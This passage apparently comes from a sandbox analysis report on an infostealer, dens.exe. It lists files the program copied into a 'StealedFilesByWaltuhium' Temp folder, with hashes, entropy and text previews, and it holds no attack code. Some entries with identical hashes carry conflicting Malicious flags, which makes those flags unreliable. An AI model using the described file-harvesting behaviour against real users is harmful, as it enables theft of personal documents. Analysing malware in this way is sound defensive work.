RQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	true
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	true
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
